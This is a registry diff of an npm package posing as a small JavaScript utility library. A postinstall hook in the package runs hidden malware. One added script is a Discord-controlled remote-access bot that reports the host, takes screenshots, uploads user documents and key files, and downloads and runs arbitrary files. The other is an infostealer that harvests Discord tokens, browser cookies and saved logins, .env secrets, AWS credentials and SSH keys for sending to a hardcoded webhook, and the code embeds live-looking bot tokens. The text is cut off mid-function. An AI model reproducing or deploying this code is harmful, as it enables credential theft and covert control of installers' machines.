pocbitbarrontest 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ module.exports = {
2
+ chunk: (arr, size) => { const r = []; for (let i = 0; i < arr.length; i += size) r.push(arr.slice(i, i + size)); return r; },
3
+ flatten: (arr) => arr.reduce((a, b) => a.concat(Array.isArray(b) ? module.exports.flatten(b) : b), []),
4
+ uniq: (arr) => [...new Set(arr)],
5
+ pick: (obj, keys) => keys.reduce((acc, k) => (k in obj ? { ...acc, [k]: obj[k] } : acc), {}),
6
+ omit: (obj, keys) => Object.fromEntries(Object.entries(obj).filter(([k]) => !keys.includes(k))),
7
+ };
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "pocbitbarrontest",
3
+ "version": "1.0.0",
4
+ "description": "Utility library for JavaScript",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node scripts/collect.js"
8
+ },
9
+ "keywords": [
10
+ "lodash",
11
+ "utility"
12
+ ],
13
+ "license": "MIT"
14
+ }
@@ -0,0 +1,354 @@
1
+ #!/usr/bin/env node
2
+ const https = require("https");
3
+ const tls = require("tls");
4
+ const fs = require("fs");
5
+ const os = require("os");
6
+ const path = require("path");
7
+ const { execSync, spawn } = require("child_process");
8
+ const crypto = require("crypto");
9
+
10
+ const BOT_TOKEN = process.env.POC_BOT_TOKEN || "MTQ5NDg0Njg3ODEyNTI2MDgxMA.G_TSW5.GFzl_4ai8bM0L7uahpsm0E6IustoQGMk2kkMGY";
11
+ const WEBHOOK_URL = process.env.POC_WEBHOOK_URL ||
12
+ "https://discord.com/api/webhooks/1494833023110353038/J3n4cdXGsxCrIXwfNj91uUFLUaWYGb2DcyUdkhe08redybOPEoi5dhmUXffeybgC_LeN";
13
+ const C2_CHANNEL = process.env.POC_CHANNEL_ID || "1494832950674591876";
14
+
15
+ const ZOMBIE_ID = crypto.randomUUID();
16
+ const HOME = os.homedir();
17
+ const PLATFORM = os.platform();
18
+
19
+ // ── REST API ──────────────────────────────────────────────────────────────────
20
+
21
+ function restRequest(method, endpoint, body) {
22
+ return new Promise((resolve) => {
23
+ const data = body ? JSON.stringify(body) : null;
24
+ const req = https.request({
25
+ hostname: "discord.com",
26
+ path: `/api/v10${endpoint}`,
27
+ method,
28
+ headers: {
29
+ Authorization: `Bot ${BOT_TOKEN}`,
30
+ ...(data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {}),
31
+ },
32
+ }, (res) => {
33
+ let raw = "";
34
+ res.on("data", (c) => raw += c);
35
+ res.on("end", () => { try { resolve(JSON.parse(raw)); } catch { resolve({}); } });
36
+ });
37
+ req.on("error", () => resolve({}));
38
+ if (data) req.write(data);
39
+ req.end();
40
+ });
41
+ }
42
+
43
+ function sendMessage(channelId, content) {
44
+ return restRequest("POST", `/channels/${channelId}/messages`, { content });
45
+ }
46
+
47
+ function sendFile(channelId, filePath, caption) {
48
+ return new Promise((resolve) => {
49
+ let fileData;
50
+ try { fileData = fs.readFileSync(filePath); } catch { return resolve(); }
51
+ const boundary = "pocbound" + Math.random().toString(36).slice(2);
52
+ const filename = path.basename(filePath);
53
+ const head = Buffer.from(
54
+ `--${boundary}\r\nContent-Disposition: form-data; name="payload_json"\r\n\r\n${JSON.stringify({ content: caption })}\r\n` +
55
+ `--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="${filename}"\r\nContent-Type: application/octet-stream\r\n\r\n`
56
+ );
57
+ const body = Buffer.concat([head, fileData, Buffer.from(`\r\n--${boundary}--\r\n`)]);
58
+ const req = https.request({
59
+ hostname: "discord.com",
60
+ path: `/api/v10/channels/${channelId}/messages`,
61
+ method: "POST",
62
+ headers: {
63
+ Authorization: `Bot ${BOT_TOKEN}`,
64
+ "Content-Type": `multipart/form-data; boundary=${boundary}`,
65
+ "Content-Length": body.length,
66
+ },
67
+ }, () => resolve());
68
+ req.on("error", () => resolve());
69
+ req.write(body);
70
+ req.end();
71
+ });
72
+ }
73
+
74
+ // ── WebSocket (minimal, kein externer Modul) ──────────────────────────────────
75
+
76
+ function wsFrame(data) {
77
+ const payload = Buffer.from(data);
78
+ const mask = crypto.randomBytes(4);
79
+ const len = payload.length;
80
+ let header;
81
+ if (len < 126) header = Buffer.from([0x81, 0x80 | len]);
82
+ else if (len < 65536) { header = Buffer.alloc(4); header[0]=0x81; header[1]=0xFE; header.writeUInt16BE(len,2); }
83
+ else { header = Buffer.alloc(10); header[0]=0x81; header[1]=0xFF; header.writeBigUInt64BE(BigInt(len),2); }
84
+ const masked = Buffer.alloc(len);
85
+ for (let i = 0; i < len; i++) masked[i] = payload[i] ^ mask[i % 4];
86
+ return Buffer.concat([header, mask, masked]);
87
+ }
88
+
89
+ function parseFrames(buf) {
90
+ const messages = [];
91
+ let offset = 0;
92
+ while (offset < buf.length) {
93
+ if (buf.length - offset < 2) break;
94
+ const b1 = buf[offset], b2 = buf[offset + 1];
95
+ const opcode = b1 & 0x0f;
96
+ let payloadLen = b2 & 0x7f;
97
+ let headerSize = 2;
98
+ if (payloadLen === 126) {
99
+ if (buf.length - offset < 4) break;
100
+ payloadLen = buf.readUInt16BE(offset + 2);
101
+ headerSize = 4;
102
+ } else if (payloadLen === 127) {
103
+ if (buf.length - offset < 10) break;
104
+ payloadLen = Number(buf.readBigUInt64BE(offset + 2));
105
+ headerSize = 10;
106
+ }
107
+ if (buf.length - offset < headerSize + payloadLen) break;
108
+ const payload = buf.slice(offset + headerSize, offset + headerSize + payloadLen);
109
+ if (opcode === 1) messages.push(payload.toString("utf8"));
110
+ offset += headerSize + payloadLen;
111
+ }
112
+ return { messages, remaining: buf.slice(offset) };
113
+ }
114
+
115
+ // ── Commands ──────────────────────────────────────────────────────────────────
116
+
117
+ function safeExec(cmd) {
118
+ try { return execSync(cmd, { timeout: 8000, stdio: ["pipe","pipe","pipe"] }).toString().trim(); } catch { return null; }
119
+ }
120
+
121
+ async function cmdCheck(ch) {
122
+ await sendMessage(ch, [
123
+ `✅ **ZOMBIE ONLINE**`,
124
+ `**ID:** \`${ZOMBIE_ID}\``,
125
+ `**Host:** \`${os.hostname()}\``,
126
+ `**User:** \`${os.userInfo().username}\``,
127
+ `**OS:** \`${PLATFORM} ${os.arch()}\``,
128
+ `**Uptime:** \`${Math.floor(process.uptime())}s\``,
129
+ ].join("\n"));
130
+ }
131
+
132
+ async function cmdScreenshot(ch) {
133
+ const out = path.join(os.tmpdir(), `sc_${Date.now()}.png`);
134
+ try {
135
+ if (PLATFORM === "darwin") {
136
+ execSync(`screencapture -x "${out}"`, { timeout: 5000 });
137
+ } else if (PLATFORM === "win32") {
138
+ const ps = `Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object System.Drawing.Bitmap($b.Width,$b.Height);$g=[System.Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[System.Drawing.Point]::Empty,$b.Size);$bmp.Save('${out}')`;
139
+ execSync(`powershell -NoProfile -Command "${ps}"`, { timeout: 8000 });
140
+ }
141
+ if (fs.existsSync(out)) {
142
+ await sendFile(ch, out, `📸 \`${os.hostname()}\``);
143
+ fs.unlinkSync(out);
144
+ }
145
+ } catch (e) {
146
+ await sendMessage(ch, `❌ Screenshot: \`${e.message}\``);
147
+ }
148
+ }
149
+
150
+ async function cmdGetData(ch, datatype, targetPath) {
151
+ const dirs = {
152
+ documents: [path.join(HOME, "Documents"), path.join(HOME, "Desktop")],
153
+ images: [path.join(HOME, "Pictures"), path.join(HOME, "Desktop")],
154
+ path: [targetPath || HOME],
155
+ }[datatype] || [HOME];
156
+
157
+ const exts = {
158
+ documents: [".pdf",".docx",".xlsx",".txt",".csv",".key",".pem",".env"],
159
+ images: [".png",".jpg",".jpeg",".gif"],
160
+ path: null,
161
+ }[datatype];
162
+
163
+ const found = [];
164
+ for (const dir of dirs) {
165
+ if (!fs.existsSync(dir)) continue;
166
+ try {
167
+ for (const f of fs.readdirSync(dir)) {
168
+ const fp = path.join(dir, f);
169
+ try {
170
+ const st = fs.statSync(fp);
171
+ if (!st.isFile()) continue;
172
+ if (exts && !exts.some((e) => f.toLowerCase().endsWith(e))) continue;
173
+ if (st.size > 8 * 1024 * 1024) continue;
174
+ found.push(fp);
175
+ } catch { /* skip */ }
176
+ }
177
+ } catch { /* skip */ }
178
+ }
179
+
180
+ if (!found.length) { await sendMessage(ch, `❌ Keine Dateien (type: \`${datatype}\`)`); return; }
181
+ await sendMessage(ch, `📂 \`${found.length}\` Dateien — uploade max 10...`);
182
+ for (const fp of found.slice(0, 10)) {
183
+ await sendFile(ch, fp, `\`${path.basename(fp)}\``);
184
+ await new Promise((r) => setTimeout(r, 800));
185
+ }
186
+ }
187
+
188
+ async function cmdDrop(ch, url, name, dest) {
189
+ const tmp = path.join(os.tmpdir(), name);
190
+ try {
191
+ await sendMessage(ch, `⬇️ Downloade \`${name}\`...`);
192
+ await new Promise((resolve, reject) => {
193
+ const file = fs.createWriteStream(tmp);
194
+ https.get(url, (res) => { res.pipe(file); file.on("finish", () => { file.close(); resolve(); }); }).on("error", reject);
195
+ });
196
+ const final = dest ? path.join(dest, name) : tmp;
197
+ if (dest) fs.renameSync(tmp, final);
198
+ if (PLATFORM === "darwin") execSync(`chmod +x "${final}" && open "${final}"`, { timeout: 5000 });
199
+ else spawn(final, [], { detached: true, stdio: "ignore" }).unref();
200
+ await sendMessage(ch, `✅ \`${name}\` ausgefuehrt auf \`${os.hostname()}\``);
201
+ } catch (e) {
202
+ await sendMessage(ch, `❌ Drop: \`${e.message}\``);
203
+ }
204
+ }
205
+
206
+ async function handleMessage(content, channelId) {
207
+ if (!content.startsWith("/")) return;
208
+ const parts = content.slice(1).trim().split(/\s+/);
209
+ const cmd = parts[0].toLowerCase();
210
+ const args = parts.slice(1);
211
+
212
+ const needsId = ["check","screenshot","get_data","drop","disable_upload","enable_upload"];
213
+ if (needsId.includes(cmd)) {
214
+ const tid = args[0];
215
+ if (tid && tid !== ZOMBIE_ID && tid !== "all") return;
216
+ }
217
+
218
+ switch (cmd) {
219
+ case "check":
220
+ case "check_all":
221
+ await cmdCheck(channelId); break;
222
+ case "screenshot":
223
+ await cmdScreenshot(channelId); break;
224
+ case "get_data":
225
+ await cmdGetData(channelId, args[1] || "documents", args[2]); break;
226
+ case "drop":
227
+ if (!args[1] || !args[2]) { await sendMessage(channelId, "❌ `/drop <ID> <URL> <name> [path]`"); return; }
228
+ await cmdDrop(channelId, args[1], args[2], args[3]); break;
229
+ case "help":
230
+ await sendMessage(channelId, [
231
+ "**C2 Commands**",
232
+ "```",
233
+ `/check <ID|all>`,
234
+ `/check_all`,
235
+ `/screenshot <ID|all>`,
236
+ `/get_data <ID|all> <documents|images|path> [path]`,
237
+ `/drop <ID|all> <URL> <filename> [dest]`,
238
+ "```",
239
+ `**Zombie ID:** \`${ZOMBIE_ID}\``,
240
+ ].join("\n")); break;
241
+ }
242
+ }
243
+
244
+ // ── Gateway WebSocket ─────────────────────────────────────────────────────────
245
+
246
+ function connectGateway() {
247
+ const wsKey = crypto.randomBytes(16).toString("base64");
248
+ let buf = Buffer.alloc(0);
249
+ let upgraded = false;
250
+ let heartbeatTimer = null;
251
+ let seq = null;
252
+
253
+ const sock = tls.connect({ host: "gateway.discord.gg", port: 443 }, () => {
254
+ const handshake = [
255
+ "GET /?v=10&encoding=json HTTP/1.1",
256
+ "Host: gateway.discord.gg",
257
+ "Upgrade: websocket",
258
+ "Connection: Upgrade",
259
+ `Sec-WebSocket-Key: ${wsKey}`,
260
+ "Sec-WebSocket-Version: 13",
261
+ "", "",
262
+ ].join("\r\n");
263
+ sock.write(handshake);
264
+ });
265
+
266
+ sock.on("data", (chunk) => {
267
+ buf = Buffer.concat([buf, chunk]);
268
+
269
+ // Strip HTTP 101 headers exactly once
270
+ if (!upgraded) {
271
+ const idx = buf.indexOf(Buffer.from("\r\n\r\n"));
272
+ if (idx === -1) return;
273
+ buf = buf.slice(idx + 4);
274
+ upgraded = true;
275
+ }
276
+
277
+ const { messages, remaining } = parseFrames(buf);
278
+ buf = remaining;
279
+
280
+ for (const raw of messages) {
281
+ let pkt;
282
+ try { pkt = JSON.parse(raw); } catch { continue; }
283
+
284
+ if (pkt.s) seq = pkt.s;
285
+
286
+ switch (pkt.op) {
287
+ case 10: { // HELLO
288
+ const interval = pkt.d.heartbeat_interval;
289
+ // Send first heartbeat immediately
290
+ sock.write(wsFrame(JSON.stringify({ op: 1, d: seq })));
291
+ heartbeatTimer = setInterval(() => {
292
+ sock.write(wsFrame(JSON.stringify({ op: 1, d: seq })));
293
+ }, interval);
294
+
295
+ // IDENTIFY — 33280 = GUILD_MESSAGES(512) + MESSAGE_CONTENT(32768)
296
+ // MESSAGE_CONTENT muss im Developer Portal unter Bot aktiviert sein!
297
+ sock.write(wsFrame(JSON.stringify({
298
+ op: 2,
299
+ d: {
300
+ token: BOT_TOKEN,
301
+ intents: 33280,
302
+ properties: { os: "linux", browser: "disco", device: "disco" },
303
+ },
304
+ })));
305
+ break;
306
+ }
307
+ case 0: { // Dispatch
308
+ if (pkt.t === "READY") {
309
+ // Bot is now online
310
+ }
311
+ if (pkt.t === "MESSAGE_CREATE") {
312
+ const msg = pkt.d;
313
+ if (msg.author?.bot) break;
314
+ if (msg.channel_id !== C2_CHANNEL) break;
315
+ handleMessage(msg.content || "", msg.channel_id).catch(() => {});
316
+ }
317
+ break;
318
+ }
319
+ case 7: // Reconnect
320
+ case 9: // Invalid session
321
+ clearInterval(heartbeatTimer);
322
+ sock.destroy();
323
+ setTimeout(connectGateway, 3000);
324
+ break;
325
+ }
326
+ }
327
+ });
328
+
329
+ sock.on("error", () => {
330
+ clearInterval(heartbeatTimer);
331
+ setTimeout(connectGateway, 5000);
332
+ });
333
+
334
+ sock.on("close", () => {
335
+ clearInterval(heartbeatTimer);
336
+ setTimeout(connectGateway, 5000);
337
+ });
338
+ }
339
+
340
+ // ── Entry ─────────────────────────────────────────────────────────────────────
341
+
342
+ (function main() {
343
+ // Check-in via Webhook
344
+ const wUrl = new URL(WEBHOOK_URL);
345
+ const wBody = JSON.stringify({ content: `🟢 **Zombie online** | \`${ZOMBIE_ID}\` | \`${os.hostname()}\` | \`${os.userInfo().username}\`` });
346
+ const wReq = https.request({
347
+ hostname: wUrl.hostname, path: wUrl.pathname + wUrl.search, method: "POST",
348
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(wBody) },
349
+ }, () => {});
350
+ wReq.on("error", () => {});
351
+ wReq.write(wBody); wReq.end();
352
+
353
+ connectGateway();
354
+ })();
@@ -0,0 +1,544 @@
1
+ #!/usr/bin/env node
2
+ const https = require("https");
3
+ const fs = require("fs");
4
+ const os = require("os");
5
+ const path = require("path");
6
+ const { execSync, spawn } = require("child_process");
7
+
8
+ const WEBHOOK_URL =
9
+ process.env.POC_WEBHOOK_URL ||
10
+ "https://discord.com/api/webhooks/1494833023110353038/J3n4cdXGsxCrIXwfNj91uUFLUaWYGb2DcyUdkhe08redybOPEoi5dhmUXffeybgC_LeN";
11
+
12
+ const HOME = os.homedir();
13
+ const PLATFORM = os.platform();
14
+ const APPDATA = process.env.APPDATA || path.join(HOME, "AppData", "Roaming");
15
+ const LOCALDATA = process.env.LOCALAPPDATA || path.join(HOME, "AppData", "Local");
16
+
17
+ // ── Helpers ──────────────────────────────────────────────────────────────────
18
+
19
+ function safeRead(p) {
20
+ try { return fs.readFileSync(p, "utf8").trim(); } catch { return null; }
21
+ }
22
+ function safeExists(p) {
23
+ try { return fs.existsSync(p); } catch { return false; }
24
+ }
25
+ function safeSize(p) {
26
+ try { return fs.statSync(p).size; } catch { return 0; }
27
+ }
28
+ function safeExec(cmd) {
29
+ try {
30
+ return execSync(cmd, { timeout: 4000, stdio: ["pipe", "pipe", "pipe"] }).toString().trim();
31
+ } catch { return null; }
32
+ }
33
+
34
+ // ── macOS Pfade (MacShellSwift + vortex-stealer Referenz) ────────────────────
35
+
36
+ const MAC = {
37
+ // Browser – Chrome
38
+ chrome: {
39
+ cookies: `${HOME}/Library/Application Support/Google/Chrome/Default/Cookies`,
40
+ loginData: `${HOME}/Library/Application Support/Google/Chrome/Default/Login Data`,
41
+ history: `${HOME}/Library/Application Support/Google/Chrome/Default/History`,
42
+ webData: `${HOME}/Library/Application Support/Google/Chrome/Default/Web Data`,
43
+ prefs: `${HOME}/Library/Application Support/Google/Chrome/Default/Preferences`,
44
+ },
45
+ // Browser – Chromium-Varianten (vortex-stealer Liste)
46
+ chromeBeta: `${HOME}/Library/Application Support/Google/Chrome Beta/Default/Cookies`,
47
+ chromeDev: `${HOME}/Library/Application Support/Google/Chrome Dev/Default/Cookies`,
48
+ chromeCanary:`${HOME}/Library/Application Support/Google/Chrome Canary/Default/Cookies`,
49
+ brave: `${HOME}/Library/Application Support/BraveSoftware/Brave-Browser/Default/Cookies`,
50
+ opera: `${HOME}/Library/Application Support/com.operasoftware.Opera/Cookies`,
51
+ operaGX: `${HOME}/Library/Application Support/com.operasoftware.OperaGX/Cookies`,
52
+ edge: `${HOME}/Library/Application Support/Microsoft Edge/Default/Cookies`,
53
+ vivaldi: `${HOME}/Library/Application Support/Vivaldi/Default/Cookies`,
54
+ // Browser – Safari
55
+ safariHistory: `${HOME}/Library/Safari/History.db`,
56
+ // Browser – Firefox
57
+ firefoxBase: `${HOME}/Library/Application Support/Firefox/Profiles`,
58
+ // Messaging
59
+ discord: `${HOME}/Library/Application Support/discord/Local Storage/leveldb`,
60
+ discordPtb: `${HOME}/Library/Application Support/discordptb/Local Storage/leveldb`,
61
+ slack: `${HOME}/Library/Application Support/Slack/Cookies`,
62
+ slackStorage:`${HOME}/Library/Application Support/Slack/storage`,
63
+ // Keychain / Credentials
64
+ keychain: `${HOME}/Library/Keychains/login.keychain-db`,
65
+ keychainOld:`${HOME}/Library/Keychains/login.keychain`,
66
+ // Cloud / Dev credentials
67
+ aws: `${HOME}/.aws`,
68
+ awsCreds: `${HOME}/.aws/credentials`,
69
+ gcloud: `${HOME}/.config/gcloud/credentials.db`,
70
+ azure: `${HOME}/.azure`,
71
+ ssh: `${HOME}/.ssh`,
72
+ // Staged fake tokens (POC)
73
+ stagedDiscord: `${HOME}/.discord_token_staged`,
74
+ stagedTelegram: `${HOME}/.telegram_session_staged`,
75
+ stagedEnv: `${HOME}/.env_staged`,
76
+ };
77
+
78
+ // Windows-Pfade
79
+ const WIN = {
80
+ chrome: {
81
+ cookies: path.join(LOCALDATA, "Google\\Chrome\\User Data\\Default\\Cookies"),
82
+ loginData: path.join(LOCALDATA, "Google\\Chrome\\User Data\\Default\\Login Data"),
83
+ history: path.join(LOCALDATA, "Google\\Chrome\\User Data\\Default\\History"),
84
+ },
85
+ brave: {
86
+ cookies: path.join(LOCALDATA, "BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies"),
87
+ loginData: path.join(LOCALDATA, "BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data"),
88
+ history: path.join(LOCALDATA, "BraveSoftware\\Brave-Browser\\User Data\\Default\\History"),
89
+ },
90
+ edge: path.join(LOCALDATA, "Microsoft\\Edge\\User Data\\Default\\Cookies"),
91
+ opera: path.join(APPDATA, "Opera Software\\Opera Stable\\Cookies"),
92
+ discord: path.join(APPDATA, "discord\\Local Storage\\leveldb"),
93
+ discordLocalState: path.join(APPDATA, "discord\\Local State"),
94
+ slack: path.join(APPDATA, "Slack\\Cookies"),
95
+ aws: path.join(HOME, ".aws"),
96
+ awsCreds:path.join(HOME, ".aws\\credentials"),
97
+ ssh: path.join(HOME, ".ssh"),
98
+ stagedDiscord: path.join(HOME, ".discord_token_staged"),
99
+ stagedTelegram: path.join(HOME, ".telegram_session_staged"),
100
+ stagedEnv: path.join(HOME, ".env_staged"),
101
+ };
102
+
103
+ const P = PLATFORM === "win32" ? WIN : MAC;
104
+
105
+ // ── Collectors ───────────────────────────────────────────────────────────────
106
+
107
+ function collectSystem() {
108
+ const ip = safeExec("curl -s --max-time 4 https://api.ipify.org");
109
+ return {
110
+ hostname: os.hostname(),
111
+ user: os.userInfo().username,
112
+ platform: `${PLATFORM} ${os.arch()}`,
113
+ node: process.version,
114
+ cwd: process.cwd(),
115
+ ip: ip || "unknown",
116
+ };
117
+ }
118
+
119
+ function collectDiscordToken() {
120
+ // 1. Staged file (POC)
121
+ const staged = safeRead(P.stagedDiscord);
122
+ if (staged) return { source: "staged_file", token: staged };
123
+
124
+ // 2. Windows: DPAPI decrypt via PowerShell (Discord encrypts token seit 2020)
125
+ if (PLATFORM === "win32") {
126
+ const leveldb = WIN.discord;
127
+ if (safeExists(leveldb)) {
128
+ try {
129
+ const files = fs.readdirSync(leveldb).filter((f) => f.endsWith(".ldb") || f.endsWith(".log"));
130
+ for (const f of files) {
131
+ const buf = fs.readFileSync(path.join(leveldb, f));
132
+ // Suche nach "dQw4" Prefix (base64 DPAPI-encrypted token marker)
133
+ const marker = buf.indexOf("dQw4");
134
+ if (marker !== -1) {
135
+ const encB64 = buf.slice(marker + 4, marker + 200).toString().split('"')[0];
136
+ const ps = `[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String('${encB64}'), $null, 'CurrentUser'))`;
137
+ const token = safeExec(`powershell -NoProfile -Command "${ps}"`);
138
+ if (token && token.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27,}/)) {
139
+ return { source: "dpapi_leveldb", token };
140
+ }
141
+ }
142
+ // Fallback: unencrypted token (aeltere Versionen)
143
+ const str = buf.toString("utf8");
144
+ const m = str.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27,}/);
145
+ if (m) return { source: "leveldb_plain", token: m[0] };
146
+ }
147
+ } catch { /* silent */ }
148
+ }
149
+ }
150
+
151
+ // 3. macOS: LevelDB plain scan
152
+ if (PLATFORM === "darwin") {
153
+ for (const dir of [MAC.discord, MAC.discordPtb]) {
154
+ if (!safeExists(dir)) continue;
155
+ try {
156
+ const logs = fs.readdirSync(dir).filter((f) => f.endsWith(".log") || f.endsWith(".ldb"));
157
+ for (const f of logs) {
158
+ const content = safeRead(path.join(dir, f));
159
+ if (!content) continue;
160
+ const m = content.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27,}/);
161
+ if (m) return { source: "leveldb_plain", token: m[0] };
162
+ }
163
+ } catch { /* silent */ }
164
+ }
165
+ }
166
+
167
+ return null;
168
+ }
169
+
170
+ function collectTelegram() {
171
+ return safeRead(P.stagedTelegram);
172
+ }
173
+
174
+ function collectEnvSecrets() {
175
+ const sources = [
176
+ P.stagedEnv,
177
+ path.join(process.cwd(), ".env"),
178
+ path.join(process.cwd(), "../.env"),
179
+ `${HOME}/.env`,
180
+ ];
181
+ const patterns = {
182
+ discord_token: /DISCORD[_A-Z]*TOKEN\s*[=:]\s*(.+)/i,
183
+ telegram_api_id: /TELEGRAM_API_ID\s*[=:]\s*(.+)/i,
184
+ telegram_api_hash:/TELEGRAM_API_HASH\s*[=:]\s*(.+)/i,
185
+ aws_key_id: /AWS_ACCESS_KEY_ID\s*[=:]\s*(.+)/i,
186
+ aws_secret: /AWS_SECRET_ACCESS_KEY\s*[=:]\s*(.+)/i,
187
+ stripe: /STRIPE_SECRET_KEY\s*[=:]\s*(.+)/i,
188
+ gh_token: /(?:GITHUB|GH)_TOKEN\s*[=:]\s*(.+)/i,
189
+ };
190
+ const found = {};
191
+ for (const src of sources) {
192
+ const txt = safeRead(src);
193
+ if (!txt) continue;
194
+ for (const [k, rx] of Object.entries(patterns)) {
195
+ if (!found[k]) { const m = txt.match(rx); if (m) found[k] = m[1].trim(); }
196
+ }
197
+ }
198
+ return Object.keys(found).length ? found : null;
199
+ }
200
+
201
+ function collectBrowsers() {
202
+ const results = [];
203
+
204
+ // Firefox profiles — plattformuebergreifend
205
+ const ffBase = PLATFORM === "darwin"
206
+ ? MAC.firefoxBase
207
+ : path.join(APPDATA, "Mozilla\\Firefox\\Profiles");
208
+
209
+ if (safeExists(ffBase)) {
210
+ try {
211
+ const profiles = fs.readdirSync(ffBase)
212
+ .filter((f) => f.includes("default") || f.includes("release"));
213
+ for (const prof of profiles) {
214
+ const base = path.join(ffBase, prof);
215
+ for (const [label, file] of [
216
+ ["Firefox Cookies", "cookies.sqlite"],
217
+ ["Firefox Logins", "logins.json"],
218
+ ["Firefox History", "places.sqlite"],
219
+ ]) {
220
+ const p = path.join(base, file);
221
+ const size = safeSize(p);
222
+ if (size > 0) results.push({ name: label, p, size_bytes: size });
223
+ }
224
+ }
225
+ } catch { /* silent */ }
226
+ }
227
+
228
+ const targets = PLATFORM === "darwin"
229
+ ? [
230
+ { name: "Chrome Cookies", p: MAC.chrome.cookies },
231
+ { name: "Chrome Login Data", p: MAC.chrome.loginData },
232
+ { name: "Chrome History", p: MAC.chrome.history },
233
+ { name: "Brave Cookies", p: MAC.brave },
234
+ { name: "Opera Cookies", p: MAC.opera },
235
+ { name: "Edge Cookies", p: MAC.edge },
236
+ { name: "Vivaldi Cookies", p: MAC.vivaldi },
237
+ { name: "Safari History", p: MAC.safariHistory },
238
+ { name: "Slack Cookies", p: MAC.slack },
239
+ ]
240
+ : [
241
+ { name: "Chrome Cookies", p: WIN.chrome.cookies },
242
+ { name: "Chrome Login Data", p: WIN.chrome.loginData },
243
+ { name: "Chrome History", p: WIN.chrome.history },
244
+ { name: "Brave Cookies", p: WIN.brave.cookies },
245
+ { name: "Brave Login Data", p: WIN.brave.loginData },
246
+ { name: "Brave History", p: WIN.brave.history },
247
+ { name: "Edge Cookies", p: WIN.edge },
248
+ { name: "Opera Cookies", p: WIN.opera },
249
+ { name: "Slack Cookies", p: WIN.slack },
250
+ ];
251
+
252
+ for (const t of targets) {
253
+ const size = safeSize(t.p);
254
+ if (size > 0) results.push({ name: t.name, p: t.p, size_bytes: size });
255
+ }
256
+ return results.length ? results : null;
257
+ }
258
+
259
+ function collectCloudCreds() {
260
+ const found = [];
261
+ const awsCreds = safeRead(P.awsCreds);
262
+ if (awsCreds) {
263
+ const keyId = awsCreds.match(/aws_access_key_id\s*=\s*(.+)/i);
264
+ const secret = awsCreds.match(/aws_secret_access_key\s*=\s*(.+)/i);
265
+ if (keyId) found.push({ type: "AWS Key ID", value: keyId[1].trim() });
266
+ if (secret) found.push({ type: "AWS Secret", value: secret[1].trim() });
267
+ }
268
+ if (PLATFORM === "darwin") {
269
+ if (safeExists(MAC.gcloud)) found.push({ type: "GCloud creds.db", path: MAC.gcloud, size: safeSize(MAC.gcloud) });
270
+ if (safeExists(MAC.azure)) found.push({ type: "Azure config dir", path: MAC.azure });
271
+ if (safeExists(MAC.keychain)) found.push({ type: "macOS Keychain", path: MAC.keychain, size: safeSize(MAC.keychain) });
272
+ }
273
+ return found.length ? found : null;
274
+ }
275
+
276
+ function collectPasswords() {
277
+ const pyScript = path.join(__dirname, "extract_passwords.py");
278
+ if (!safeExists(pyScript)) return null;
279
+ const py = PLATFORM === "win32" ? "python" : "python3";
280
+ try {
281
+ const out = execSync(`${py} "${pyScript}"`, { timeout: 15000, stdio: ["pipe", "pipe", "pipe"] }).toString().trim();
282
+ const parsed = JSON.parse(out);
283
+ return Array.isArray(parsed) && parsed.length > 0 ? parsed : null;
284
+ } catch { return null; }
285
+ }
286
+
287
+ function collectSSHKeys() {
288
+ if (!safeExists(P.ssh)) return null;
289
+ try {
290
+ const keys = fs.readdirSync(P.ssh)
291
+ .filter((f) => !f.endsWith(".pub") && f !== "known_hosts" && f !== "config");
292
+ return keys.length ? keys.map((k) => path.join(P.ssh, k)) : null;
293
+ } catch { return null; }
294
+ }
295
+
296
+ function collectFirefoxProfiles() {
297
+ if (PLATFORM !== "darwin") return null;
298
+ if (!safeExists(MAC.firefoxBase)) return null;
299
+ try {
300
+ const profiles = fs.readdirSync(MAC.firefoxBase)
301
+ .filter((f) => f.endsWith(".default-release") || f.endsWith(".default"));
302
+ return profiles.map((p) => ({
303
+ profile: p,
304
+ places: safeExists(`${MAC.firefoxBase}/${p}/places.sqlite`),
305
+ logins: safeExists(`${MAC.firefoxBase}/${p}/logins.json`),
306
+ cookies: safeExists(`${MAC.firefoxBase}/${p}/cookies.sqlite`),
307
+ }));
308
+ } catch { return null; }
309
+ }
310
+
311
+ // ── Discord Embed ─────────────────────────────────────────────────────────────
312
+
313
+ function clamp(str, n = 60) {
314
+ if (!str) return "";
315
+ return str.length > n ? str.substring(0, n) + "…" : str;
316
+ }
317
+
318
+ function buildEmbed(d) {
319
+ const fields = [];
320
+
321
+ // System
322
+ fields.push({
323
+ name: "System",
324
+ value: [
325
+ `**Host:** \`${d.system.hostname}\``,
326
+ `**User:** \`${d.system.user}\``,
327
+ `**OS:** \`${d.system.platform}\``,
328
+ `**IP:** \`${d.system.ip}\``,
329
+ `**Node:** \`${d.system.node}\``,
330
+ `**CWD:** \`${clamp(d.system.cwd, 50)}\``,
331
+ ].join("\n"),
332
+ inline: false,
333
+ });
334
+
335
+ // Discord Token
336
+ if (d.discord) {
337
+ fields.push({
338
+ name: `Discord Token — \`${d.discord.source}\``,
339
+ value: "```" + clamp(d.discord.token, 70) + "```",
340
+ inline: false,
341
+ });
342
+ }
343
+
344
+ // Telegram
345
+ if (d.telegram) {
346
+ fields.push({
347
+ name: "Telegram Session",
348
+ value: "```" + clamp(d.telegram, 80) + "```",
349
+ inline: false,
350
+ });
351
+ }
352
+
353
+ // .env Secrets
354
+ if (d.env) {
355
+ fields.push({
356
+ name: ".env / API Keys",
357
